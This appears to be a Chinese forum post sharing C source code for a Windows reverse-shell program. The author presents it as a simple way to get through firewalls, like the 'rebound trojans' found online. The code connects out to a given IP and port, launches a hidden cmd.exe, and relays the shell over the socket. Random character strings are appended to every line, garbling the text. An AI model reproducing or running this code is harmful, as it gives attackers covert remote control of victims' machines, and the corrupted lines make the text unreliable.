这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 kt/,& oKI
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/* ============================== l<`>
Rebound port in Windows NT }'$PYAf6
By wind,2006/7 KhHFJo[8sf
===============================*/ lT^su'+bk
#include 8s0+6{vW
#include <W"W13*j!
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#pragma comment(lib,"wsock32.lib") hJ}i+[~be
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void OutputShell(); z~
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SOCKET sClient; N T`S)P*?
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 'u7-Qetj
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void main(int argc,char **argv) bO=|utpk
{ x]+PWk
WSADATA stWsaData; "jFf}"
int nRet; )D,KG_7l
SOCKADDR_IN stSaiClient,stSaiServer; 6l]X{ A.
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if(argc != 3) -zR<m
{ 7>JTQ CJ
printf("Useage:\n\rRebound DestIP DestPort\n"); d~LoHp
return; ')y2W1
} 2?JV "O=
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WSAStartup(MAKEWORD(2,2),&stWsaData); =&WIa#!=
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8D='N`cN+
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stSaiClient.sin_family = AF_INET; k6(7G@@}
stSaiClient.sin_port = htons(0); E(jZ Do
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); :
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) +1ICX
{ <+roY"
printf("Bind Socket Failed!\n"); ->sxz/L
return; *NmY]
} $C4~v
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stSaiServer.sin_family = AF_INET; `^bP9X_a
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); cm< #zu3~S
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); s,HbW%s
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) qO#3{kW
{ u,sR2&Fe
printf("Connect Error!"); cgg6E
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return; D|:'|7l W
} u "[f\l
OutputShell(); !6!)H8rX
} 6Y9N=\`
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void OutputShell() sdFHr4
{ zBF~:Uc`B
char szBuff[1024]; Bm$|XS3cD
SECURITY_ATTRIBUTES stSecurityAttributes; ,i2-
OSVERSIONINFO stOsversionInfo; ig,.>'+l
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; o*cu-j3
STARTUPINFO stStartupInfo; cq1 5@a mX
char *szShell; e97G]XLR
PROCESS_INFORMATION stProcessInformation; <xI<^r'C9e
unsigned long lBytesRead; SH%NYjj
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); De?VZ2o9"
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 9LDv?kYr
stSecurityAttributes.lpSecurityDescriptor = 0; k9Pvh,_wp
stSecurityAttributes.bInheritHandle = TRUE; 17LhgZs&
5 ~Wg=u<6
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ;*A'2ymXUT
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 5'AP:3Gf"
nBh+UT}
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 4Uy% wB
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E9:@H;Gc
stStartupInfo.wShowWindow = SW_HIDE; #[+# bw_6
stStartupInfo.hStdInput = hReadPipe; ]I?.1X5d0
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; M<vPE4TIr*
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GetVersionEx(&stOsversionInfo); @N=vmtLP
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switch(stOsversionInfo.dwPlatformId) "-~7lY%
{ |5&+VI
case 1: kwI``7g8*e
szShell = "command.com"; F B]Y~;(
break; L)e"qC_-
default: H QqFrR
szShell = "cmd.exe"; U0x
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break; 66yw[,Y
} -ss= c #
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); C/kf?:j
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send(sClient,szMsg,77,0); uo9#(6
while(1) h0{X$&:
{ dSM\:/t
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); F.9}jd{
if(lBytesRead) Un?|RF
{ @@65t'3S
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); +7_qg
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send(sClient,szBuff,lBytesRead,0); iC"iR\Qu
} ){^J8]b7#
else cD!,ZL
{ 8=8hbdy;
lBytesRead=recv(sClient,szBuff,1024,0); lx)^wAO4
if(lBytesRead<=0) break; @X==[gQ
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); q+ax]=w
} :U6`n
} /bo}I-<2
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return; <kh.fu@.Q
}